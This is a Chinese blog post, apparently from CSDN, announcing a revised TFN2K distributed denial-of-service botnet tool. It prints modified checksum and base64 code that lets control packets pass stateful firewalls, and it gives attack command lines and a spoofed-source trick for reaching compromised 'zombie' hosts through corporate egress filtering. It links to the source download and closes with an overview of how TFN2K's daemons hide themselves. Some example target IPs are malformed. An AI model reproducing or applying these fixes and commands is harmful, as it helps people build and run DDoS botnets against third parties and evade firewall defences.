TFN2K 2016修订版发布(32/64位)

前言:tfn2k发布的时间太早,最大一个缺陷就是flood数据包(TCP/UDP)因为校验和错误,远端被攻击的服务器会直接丢弃,在中国大陆有高人的优化(tfn2k优化作者:r0otk1tz)并对flood包的checksum做了修复,但没有修复控制指令包的错误,最近测试发现还有更大缺陷需要弥补。

主要缺陷:1)控制指令包无法穿透状态过滤的防火墙;2)无法在64位系统上运行;3)被攻击的远程服务器IP变成随机IP,本来要打扶桑树结果误打金乌。

为解决这些问题,我做了两个实验,配合防火墙规则和ps进程查看以及iptraf查看流量最终修订出更合适的tfn2k,感谢tfn2k的作者,感谢大陆高人提供的校验和代码。

该版本限制了攻击包频率,仅仅作为防火墙学习,TCP/UDP包构造学习用,搞破坏造成的任何危害由使用者本人承担。

 

A实验:使用原始tfn2k+r0ot1kz补丁在minifw(linux kernel 3.14)下编译得到32位的td /tfn.,在vmware中两个minifw(192.168.0.1运行tfn,192.168.0.11运行td)


上图是主机192.168.0.11运行td作为受控端,并设置防火墙的input规则(3条),请注意重要的一条规则是拒绝INVALID包,只有合法的NEW,RELATED,ESTABLISHED包才能进入。

上图是主机192.168.0.1 运行的是tfn 控制端程序,分别使用ICMP TCP两种包远程控制td端,控制成功了吗?从第一张防火墙图看出,192.168.0.11 一共接收到40个包,其中20个是ICMP包,20个TCP包,都是tfn发出的指令,但全部都被丢弃了。因此td没有反应!你没有告诉我干什么,凭什么要我去干活?结论:控制指令无法穿透防火墙。

于是我在192.168.0.11主机的防火墙规则修订一下,iptables –I INPUT –jACCEPT,也就是接收一切包,管他是好包烂包,终于td接收到指令发动攻击,攻击效果图如下。

 

问题到底在什么地方呢?猜中了结果,但过程却艰辛。我花了两个周时间来抓包调试,得出结论:

tfn 发送给td的指令,在tribe.c 中包含有发送程序,一直追踪到aes.c对指令加密,发现有两个bug:

1)还是校验和问题

tfn发送给td的指令一直都是INVALID状态,我修改了ip.c ,重点是htons(),如果不用htons(),我测试好多次都是INVALID数据。

unsigned short

ip_sum (addr, len)

      unsigned short *addr;

      int len;

{

   int nleft = len;

   unsigned short *w = addr;

   int sum = 0;

   unsigned short answer = 0;

 

   while (nleft > 1)

     {

 

      printf("%x--",ntohs(*w));

       sum += ntohs(*w++);

       nleft -= 2;

     }

   if (nleft == 1)

     {

       *(unsigned char *)(&answer) = *(unsigned char *) w;

       sum += answer;

       printf("oh,I found onebyte(%x)--",answer);

     }

   sum = (sum >> 16) + (sum& 0xffff);

 

   sum += (sum >> 16); 

   answer = ~sum; 

   printf("chsum is%x--over\n",htons(answer));

   return (htons(answer)); 

   /* modified bywu_huashan@21cn.com,minifw.luohuedu.net */

}

unsigned int

ip_sum2 (addr, len)

      unsigned short *addr;

      int len;

{

   int nleft = len;

   unsigned short *w = addr;

   int sum = 0;

   unsigned short answer = 0;

 

   while (nleft > 1)

     {

 

      printf("%x--",ntohs(*w));

       sum += ntohs(*w++);

       nleft -= 2;

     }

   if (nleft == 1)

     {

       *(unsigned char *)(&answer) = *(unsigned char *) w;

       sum += answer;

       printf("oh,I found onebyte(%x)--",answer);

     }

  /* modified bywu_huashan@21cn.com,minifw.luohuedu.net */

  printf("sum is %x,len is%d\n",sum,len);

 return(sum);

}

由于tfn发送给td的指令包长度可能为奇数,因此我用ip_sum2做tcp/udp校验和

2)  aes.cencode64函数问题:

if (len>16) 

    base64_in (inbuf, (char *)outbuf, (len + 16));

 else

  base64_in (inbuf, (char *) outbuf,(len + 15));

  /*    modify by wu_huashan@21cn.com,minifw.luohuedu.net  */

源代码就是+16,实际上两组实验如下:

tfn –P ICMP –f a.txt –i 219.13.276.15 –p 80 –c 5 

tfn –P ICMP –f a.txt –i 219.13.276.115 –p 80 –c 5

上面两个不同的攻击IP,如果是第一条,len=16(+f+219.13.276.15),必须加15(少于16也可)不然被攻击的IP居然变成了随机IP;如果是第二条,len=17(+f+219.133.276.115),则加16(如果小于16,被攻击IP也变成随机IP),修改后就不会乱开机枪。

 

B实验:

使用原始tfn2k2016修改版本在minifw(linux kernel 3.14)下编译得到32位的td /tfn.vmware中两个minifw(192.168.0.1运行tfn作为控制端,192.168.0.11运行td为受控

 

上图是192.168.0.1 运行最新的tfn2发出指令控制192.168.0.11


上图是192.168.0.1运行tfn2后截图显示最后两个包的IP头以及TCP校验和构造过程(在winxp下安装vmware,xp运行wireshark可以抓到这些包)。

Packet11内的数据是27个字节,packet22内的数据是46个字节。该图是用ip_sum2printf.


上图是192.168.0.11(td运行)防火墙的状态显示,终于有192.168.0.1过来的包并且状态为NEW,合法!被192.168.0.11的td2接收!

分析:Tfn2发送的指令,192.168.0.11是否成功接收到呢?见INPUT规则,60个无效包,但也有60个有效包,只要有一个有效,就可以远程控制成功。为什么在XP下安装VMWARE呢?在VMWARE内的好处是数据干扰非常少方便分析,eth0网卡得到的包唯一来自于192.168.0.1!很明显TFN2发送的指令有部分数据匹配了NEW状态,于是成功了。我本人严重怀疑奇数包长度的指令是INVALID被丢弃.

最后的测试:在64BT以及64lfs下编译运行td64,并且使用INVALID严格丢弃无效包,使用192.168.0.11远程控制,成功驱动BT去当祸害,别担心老虎的锋利牙齿被限制。

 

自我表扬:tfn可以作为一个经典的包构造参考学习工具。

 

过去一直对校验和没有搞明白,只会使用现成的代码做校验和,终于下决心彻底学一下,于是仿制了ip_sum2,将构造的包打印出来并与wireshark做对比,对于初学数据包构造非常合适,只要有一个tfn命令和wireshark就OK,不需要TD也可以学习啊(下面的截图是在tfn发出包后的最后两个包的构造显示,对tcp头,数据部分,伪tcp头的数据按照16位显示出来,两个包可以对照wireshare抓包一一比较每个字节)


 

Wireshark抓包与pack11做对比分析TCP校验和,什么是伪tcp头见百度,我简单说一下:pthdr一共12个字节,包含源IP和目标IP,以及协议号(TCP6),以及TCP部分的长度(TCP头长度+TCP包的数据长度)

以上图说明:源地址6.162.21.164(06a215a4),目标IP192.168.0.11(c0a8000b),协议TCP=6TCP长度=tcp(20)+tcp数据长度(27)=47=0x2f,tcp的数据就是06a2-15a4-c0a8-000b-00006-0002f.

tcp的校验和由两部分数据6afb0+  dd2e ,计算就可以得到真正的checksum.=731a

------------------------------------------------------------------------------------------------------

Wireshark抓包与pack22比分析TCP校验和。

 

问题:内网测试tfn2k,发送的控制指令被单位的防火墙直接封锁了,看着远方肥肥的肉鸡却无法控制!

解答:目前部分防火墙采用了一个规则,就是内网对外访问限制了源IP,而tfn控制指令包的源IP是任意的,显然控制指令无法穿透防火墙。解决简单,假如内网的IP段10.3.122.0/24.

 

Tfn –P ICMP –f  a.txt –i 219.233.155.7 –p 80 –c 5     出不去是吧?

Tfn –P ICMP –f  a.txt -S  10.3.122.5  –i 219.233.155.7 –p 80 –c 5  指令包的源IP是10.3.122.5合法,成功!如果有问题tfn /.? 自己琢磨一下。

 如果不想自己编译直接学习包构造,minifw.luohuedu.net 或者sourceforge下载minifw5.0-3运行tfn即可;如果想自己玩就去sourceforge下载tfn2k2016-source.tgz.

By  Wuhuashan https://sourceforge.net/projects/minifirewall/

  什么是tfn2k?   tfn2k通过主控端利用大量代理端主机的资源进行对一个或多个目标进行协同攻击。当前互联网中的unix、solaris和windows nt等平台的主机能被用于此类攻击,而且这个工具非常容易被移植到其它系统平台上。   tfn2k由两部分组成:在主控端主机上的客户端和在代理端主机上的守护进程。主控端向其代理端发送攻击指定的目标主机列表。代理端据此对目标进行拒绝服务攻击。由一个主控端控制的多个代理端主机,能够在攻击过程中相互协同,保证攻击的连续性。主控央和代理端的网络通讯是经过加密的,还可能混杂了许多虚假数据包。整个tfn2k网络可能使用不同的tcp、udp或icmp包进行通讯。而且主控端还能伪造其ip地址。所有这些特性都使发展防御 tfn2k攻击的策略和技术都非常困难或效率低下。   tfn2k的技术内幕   ◆ 主控端通过tcp、udp、icmp或随机性使用其中之一的数据包向代理端主机   发送命令。对目标的攻击方法包括tcp/syn、udp、icmp/ping或broadcast   ping (smurf)数据包flood等。   ◆ 主控端与代理端之间数据包的头信息也是随机的,除了icmp总是使用   icmp_echoreply类型数据包。   ◆ 与其上一代版本tfn不同,tfn2k的守护程序是完全沉默的,它不会对接收   到的命令有任何回应。客户端重复发送每一个命令20次,并且认为守护程   序应该至少能接收到其中一个。   ◆ 这些命令数据包可能混杂了许多发送到随机ip地址的伪造数据包。   ◆ tfn2k命令不是基于字符串的,而采用了"++"格式,其中是   代表某个特定命令的数值,则是该命令的参数。   ◆ 所有命令都经过了cast-256算法(rfc 2612)加密。加密关键字在程序编   译时定义,并作为tfn2k客户端程序的口令。   ◆ 所有加密数据在发送前都被编码(base 64)成可打印的ascii字符。tfn2k   守护程序接收数据包并解密数据。   ◆ 守护进程为每一个攻击产生子进程。   ◆ tfn2k守护进程试图通过修改argv[0]内容(或在某些平台中修改进程名)   以掩饰自己。伪造的进程名在编译时指定,因此每次安装时都有可能不同。   这个功能使tfn2k伪装成代理端主机的普通正常进程。因此,只是简单地检   查进程列表未必能找到tfn2k守护进程(及其子进程)。   ◆ 来自每一个客户端或守护进程的所有数据包都可能被伪造。   监测tfn2k的特征
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

wu_huashan

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值